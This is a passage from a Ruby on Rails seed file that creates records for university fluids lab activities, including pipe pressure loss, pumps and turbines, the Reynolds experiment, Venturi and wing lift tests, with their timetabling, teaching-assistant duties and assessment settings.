true)\n\n ActivityTeaching.where(activity_id: a158.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya868p4e\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a158.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a158.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a158.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a158.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a159 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 1)\n at159 = ActivityTimetable.where(activity_id: a159.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a159.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya7weqcq\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a159.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a159.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a159.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a159.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a160 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 3)\n at160 = ActivityTimetable.where(activity_id: a160.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a160.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y85b9e39\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a160.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a160.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a160.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a160.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a161 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 2)\n at161 = ActivityTimetable.where(activity_id: a161.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a161.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/gubsfc3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a161.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a161.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a161.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a161.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a162 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"420\").first_or_create!(name: \"Pumps and Turbines\",\n name_abrv: \"PUMPSTURB\", archived: false, in_drive: true, user_id: 2)\n at162 = ActivityTimetable.where(activity_id: a162.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a162.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y8mlxuvb\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a162.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a162.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a162.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a162.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a163 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"420\").first_or_create!(name: \"Pumps and Turbines\",\n name_abrv: \"PUMPSTURB\", archived: false, in_drive: true, user_id: 3)\n at163 = ActivityTimetable.where(activity_id: a163.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a163.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y2vsz6zu\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a163.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a163.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a163.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a163.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a164 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"421\").first_or_create!(name: \"Pumps and Turbines 2\",\n name_abrv: \"PUMPSTURB2\", archived: false, in_drive: true, user_id: 4)\n at164 = ActivityTimetable.where(activity_id: a164.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a164.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7pr2vq9\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a164.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a164.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a164.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a164.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a165 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at165 = ActivityTimetable.where(activity_id: a165.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a165.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7lbg5la\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a165.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a165.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a165.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a165.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a167 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at167 = ActivityTimetable.where(activity_id: a167.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a167.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a167.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a167.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a167.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a167.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a168 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at168 = ActivityTimetable.where(activity_id: a168.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a168.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9kvtza6\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a168.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a168.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a168.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a168.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a169 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: false, user_id: 4)\n at169 = ActivityTimetable.where(activity_id: a169.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a169.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y4agrwyb\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a169.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a169.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a169.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a169.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a170 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at170 = ActivityTimetable.where(activity_id: a170.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a170.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yctnkhpt\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a170.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a170.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a170.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a170.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a171 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 2)\n at171 = ActivityTimetable.where(activity_id: a171.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a171.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zc256mz\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a171.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a171.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a171.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a171.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a172 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at172 = ActivityTimetable.where(activity_id: a172.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a172.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybcx9rvy\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a172.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a172.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a172.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a172.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a173 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at173 = ActivityTimetable.where(activity_id: a173.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a173.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zhk62pr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a173.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a173.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a173.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a173.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a174 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode4\").first_or_create!(name: \"The Venturi Effect\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at174 = ActivityTimetable.where(activity_id: a174.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a174.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a174.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a174.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a174.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a174.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a175 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"401\").first_or_create!(name: \"The Venturi Effect\",\n name_abrv: \"VENTURI\", archived: false, in_drive: true, user_id: 3)\n at175 = ActivityTimetable.where(activity_id: a175.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a175.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/gktozrd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a175.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to aero engineering\",\n job_desc:\"Use a Venturi meter to see the reduction of static pressure be compensated by the increase in dynamic pressure. Stagnation pressure drops slightly due to friction.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a175.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a175.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a175.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a176 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"425\").first_or_create!(name: \"Water hammer self book\",\n name_abrv: \"WATERHAM\", archived: false, in_drive: false, user_id: 1)\n at176 = ActivityTimetable.where(activity_id: a176.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 30, notes: \"\",\n capacity: 8, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a176.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7gqnls2\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a176.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a176.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a176.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a176.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a177 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"427\").first_or_create!(name: \"Wing Lift and Drag\",\n name_abrv: \"LIFTDRAG\", archived: false, in_drive: false, user_id: 4)\n at177 = ActivityTimetable.where(activity_id: a177.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a177.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9gnk48b\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a177.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Help students to understand how to operate the wind tunnels to extract lift and drag data from a wing model. Marking in session is required.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a177.id).first_or_create!(assess_weight: 20.0, notes: \"post lab is part of the CFD assignment\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a177.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, 